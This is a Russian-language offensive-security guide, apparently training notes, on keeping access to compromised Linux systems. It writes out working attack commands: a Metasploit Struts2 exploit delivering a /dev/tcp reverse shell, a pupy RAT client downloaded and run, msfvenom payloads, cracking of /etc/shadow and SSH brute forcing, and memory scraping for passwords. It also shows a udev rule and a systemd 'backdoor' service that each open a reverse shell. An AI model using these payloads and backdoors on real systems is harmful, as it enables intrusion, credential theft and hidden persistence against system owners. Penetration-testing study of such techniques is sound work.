Закрепление доступа
- Общая информация и практика
- Получение легитимного доступа
- Внесение изменений в легитимные механизмы доступа
- Внесение изменений в сервисы и внешние программы в ОС
- Внесение изменений в ядро ОС и в предустановленные службы на нем
- Внедрение бэкдоров аутентификации на основе PAM
Общая информация и практика
Определения
Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.
Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.
Обратный shell - тип консоли, соединяющейся с сервером и предоставляющей доступ к своей консоли.
Bind shell - консоль, запущенная на некотором порту.
Дополнительно
- Популярные способы закрепления
- Обзор подходов к закреплению на русском
- Использование persistence модуля в фреймворке Metasploit.
Методики privesc:
Полезные инструменты и техники:
- Upgrading simple shells to fully interactive ttys
- linPEAS
- linux-smart-enumeration
- 3snake
- pspy
- libprocesshider
- pambd
- sucrack
Алгоритм закрепления доступа
Процесс:
| Стартовые условия | Действия | Результат |
|
Рабочая уязвимость |
Поднять сервер приема соединений Эксплуатировать уязвимость на атакуемом сервере для запуска соединения |
Обратный shell |
|
Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...) |
Создание сервера для обработки соединений Создание / использование существующего скрипта/эксплоита |
Эксплоит |
|
Обратный shell Эксплоит |
Метод в соответствии со способом закрепления |
Устойчивый контроль |
Способы закрепления доступа:
- Использовать учетные данные на скомпроментированной системе
- Изменение в легитимные механизмы доступа.
- Внесение изменений в сервисы (добавляется нагрузка)
- Изменение ядра или загрузчика системы
Обратный shell
Генерация команд для получения обратной консоли
Ресурс https://www.revshells.com/ позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться.
В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.
Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.
Эту строку добавляем как параметр к нагрузке.
Запускаем тестовый стенд уязвимого приложения.
Запускаем на 189 сервер
nc -lvnp 9004
Эксплуатация базовой уязвимости
$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS 192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit
Теперь в консоли с nc мы увидим shell удаленной системы.
Создание нагрузки в pupy.
Из 4 перечисленных способов закрепления доступа попробуем 3 вариант.
Remote admin toolkit (RAT). Рассмотрим pupy. Python реализация, полностью в оперативной памяти. Вот только уже дохлый проект.
Запускаем контейнер pupy RAT server.
docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable
Создаем ssh ключ для взаимодействия с RAT сервером.
ssh-keygen
#все значения по умолчанию, в конце будет имя ключа
Копируем созданный ключ в директорию ключей pupy
cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys
Подключаемся к pupy
ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1
Генерируем клиента.
gen -f client -O linux -A x64 connect --host 192.168.1.189:8443
Клиент сохранился по адресу [+] OUTPUT_PATH: /projects/default/output/pupyx64.yLcu40.lin
Для простой передачи на запускаем http сервер из этой директории
cd /tmp/projects/default/output/
python3 -m http.server 3000
и из обратного shell скачиваем
wget http://192.168.1.189:3000/pupyx64.yLcu40.lin
Делаем исполняемым файл и запускаем
chmod +x pupy*
./pupy*
Теперь в консоли pupy можно увидеть сессию
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address
------------------------------------------------------------------------------------------------------
1 root 186cff64fb1e Linux 6.12.43+deb13-amd64 x86_64 64bit High 192.168.1.192
Создание нагрузки в MSF
Msfvenom
Отдельная утилита создания шифрованной нагрузки. Параметры:
| -a | Архитектура. Например -a x86 |
| --platform | Платформа. Например --platform windows |
| -p | Нагрузка -p windows/meterpreter/reverce_tcp |
| LHOST=,LPORT= | LHOST=192.168.1.15 |
| -e | Обфускатор. -e x86/shikata_ga_nai |
| -f | Формат выходного файла -f exe |
| -o | Место сохранения файла -o /root/test/updater.exe |
Команда для запуска сервера обратных соединений:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.15; set LPORT 8080; run; exit -y"
Получение легитимного доступа
Получение легитимного доступа - доступ к системе без изменений системы, используя существующие учетные данные и способы доступа к системе.
| Плюсы | Минусы |
|
|
Способы получения легитимного доступа к системе:
- Извлечение паролей и ключей из доступных файлов в ОС
- Восстановление паролей из хешей
- Подбор паролей методом перебора
- Восстановление паролей и ключей из памяти процессов
Восстановление паролей из хэшей
JohnTheRipper
$ sudo cp /etc/shadow /tmp/shadow
$ sudo unshadow /etc/passwd /tmp/shadow > /tmp/unshadowed
$ john /tmp/unshadowed
Hashcat
Поддерживает MD5, SHA1, SHA256, bcrypt и т.д. Пример взлома MD5:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Параметры
| -m 0 | алгоритм хеширования MD5 |
| -a 0 | атака перебора |
| hash.txt | файл с хешами паролей |
| /usr/share/wordlists/rockyou.txt | используемый словарь для перебора паролей |
Радужная таблица
Специальный вариант таблиц поиска для обращения криптографических хеш-функций, использующий механизм разумного компромисса между временем поиска по таблице и занимаемой памятью. Предварительно вычисляются радужные таблицы, которые затем используются для быстрого нахождения паролей, соответствующих хэшам. Подробнее тут.
Онлайн-сервисы
Подбор паролей методом перебора
Минус состоит в необходимости предустановить инструмент на машину для обеспечения большей скорости обращений, что с высокой долей вероятности будет заметно командой реагирования и отразится в журналах аудита.
Можно использовать nmap, patator или hydra, ... Лучше в виде портативных файлов для вашей версии ОС. Пример для patator:
patator ssh_login host=192.168.0.1 user=admin password=FILE0 0=/путь/к/файлу_с_паролями.txt -x ignore:fgrep='Permission denied'
Пример для nmap:
nmap --script ssh-brute --script-args userdb=usernames.txt,passdb=passwords.txt <target>
--script ssh-brute – указывает использование скрипта для перебора паролей ssh.
--script-args userdb=usernames.txt,passdb=passwords.txt – указывает на файлы, содержащие список пользователей и паролей соответственно.
<target> – целевой IP-адрес или диапазон адресов.
Прекомпилированный бинарный файл nmap тут.
Восстановление паролей и ключей из памяти процессов
В Linux сложнее чем в Windows.
Mimipenguin
Перехват паролей из памяти процессов на Linux-системе. Обычно используется для получения паролей, введенных пользователем в терминал, например, паролей от системы или приложений. После запуска Mimipenguin начнет мониторить процессы в системе и попытается извлечь пароли из памяти процессов. Пароли отображаются в терминале.
truffleproc
Инструмент для перехвата паролей из памяти любых процессов работающих в системе Linux, который ищет пароли и ключи API в процессах по регулярным выражениям выполняя выгрузку памяти процесса и анализируя ее. Ссылка на инструмент
Ручной способ
Нужно найти процесс аутентификации:
# ps -ef | grep "authenticator"
> root 2027 2025 0 11:46 ? 00:00:00 authenticator
Сделать дамп процесса (например, memory-dump) и поискать учетные данные в памяти:
# ./dump-memory.sh 2027
# strings *.dump | grep -i
Прочие подобные утилиты:
3snake – перехват паролей ssh, sudo и su (experimental)
SSHPry2.0 – перехват данных в терминале
Gimmecredz – дамп паролей в памяти (на основе bash)
Внесение изменений в легитимные механизмы доступа
Вносят минимальные изменения, используя существующие механизмы аутентификации, но добавляя в них новые сущности и условия.
| Плюсы | Минусы |
|
|
Примеры действий:
- Создание нового пользователя
- Изменение учетных данных пользователя
- Добавление ключей доступа
- Сброс до стандартных паролей и учетных данных в сервисах
- Открытие механизмов отладки в службах
Внесение изменений в сервисы и внешние программы в ОС
Изменения конфигурации или программного кода постоянно работающих в ОС сервисов и доступных для взаимодействия с пользователями извне.
| Плюсы | Минусы |
|
|
Примеры:
- Внедрение бэкдоров в сервисы ОС
- Внедрение уязвимого поведения в сервисы ОС для последующей эксплуатации уязвимостей
- Запуск внешних программ для получения последующего контроля
Внесение изменений в ядро ОС и в предустановленные службы на нем
Самые продвинутые и, зачастую самые надежные подходы по закреплению доступа, - это серия методов, позволяющих проникать глубоко в ядро ОС и изменять стандартные службы удаленного доступа, аутентификации, обработки событий и пр.
| Плюсы | Минусы |
|
|
Rootkit
Вид вредоносного программного обеспечения, которое скрывает свою присутствие на компьютере или другом
устройстве, изменяя функциональность операционной системы и скрывая свои следы от пользователей и системных программ.
TripleCross - Linux eBPF-руткит с открытым исходным кодом по технологии eBPF*.
eBPF (Extended Berkeley Packet Filter) - технология ядра Linux, расширяющая функциональность стандартного фильтра Berkeley Packet Filter (BPF) для обработки пакетов и мониторинга событий в ядре.
Работа eBPF осуществляется через специальное виртуальное машинное окружение (VM), которое запускается внутри ядра Linux.Оно позволяет загружать и исполнять программы на языке C, которые могут обрабатывать пакеты на уровне ядра, принимать решения о пересылке или отбрасывании пакетов, создавать и мониторить события в ядре и многое другое.
Remote Admin Tool
Похоже на RootKit, но менее скрытная. Утилиты RAT (Remote Access Tool) — это программные инструменты, которые позволяют удаленно управлять компьютером или устройством без ведома пользователя. RAT-утилиты могут быть использованы для различных целей, в том числе для управления компьютером из удаленного места, сбора конфиденциальной информации, мониторинга активности пользователя и т.д.
Внедрение бэкдоров аутентификации на основе PAM
PAM (Pluggable Authentication Modules, подключаемые модули аутентификации) — разделяемые библиотеки, используемые для
реализации произвольных методов аутентификации в виде единого API. Внедрение вредоносного модуля позволяет добавить
мастер-пароль и перехватить учетные данные. Пример бэкдора: https://github.com/ociredefz/pambd/
Внедрение бэкдоров в драйверы
Для запуска бэкдора при подключении какого-либо устройства можно использовать каталог /etc/udev/rules.d/, в котором хранятся правила для обработки событий устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства.
RSHELL="0<&196;exec 196<>/dev/tcp/192.168.0.177/9001; sh <&196 >&196 2>&196"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
В таком случае при подключении к машине USB-устройства порт выполнится скрипт RSHELL для предоставления доступа вашей машине в сети.
Внедрение бекдоров в службы автозапуска (использование systemd)
systemd — это системный инициализатор и менеджер служб для операционных систем Linux. Он является заменой для более старой системы инициализации SysVinit и предоставляет целый набор функциональных возможностей для управления и контроля запуска служб и процессов в Linux-системе.
Systemd также имеет ряд дополнительных функций, включая событийную систему, журналирование и мониторинг процессов,
управление сетевыми интерфейсами и сетевыми соединениями, управление контейнерами и многие другие.
Пример создания сервиса:
[Unit]
Description=Backdoor
After=network.target ssh.service
[Service]
Type=simple
PIDFile=/var/run/backdoor.pid
ExecStart=sh -i >& /dev/tcp/192.168.0.177/9001 0>&1"
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
Расположить его в файле:
/lib/systemd/system/backdoor.service
Запустить его командами:
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service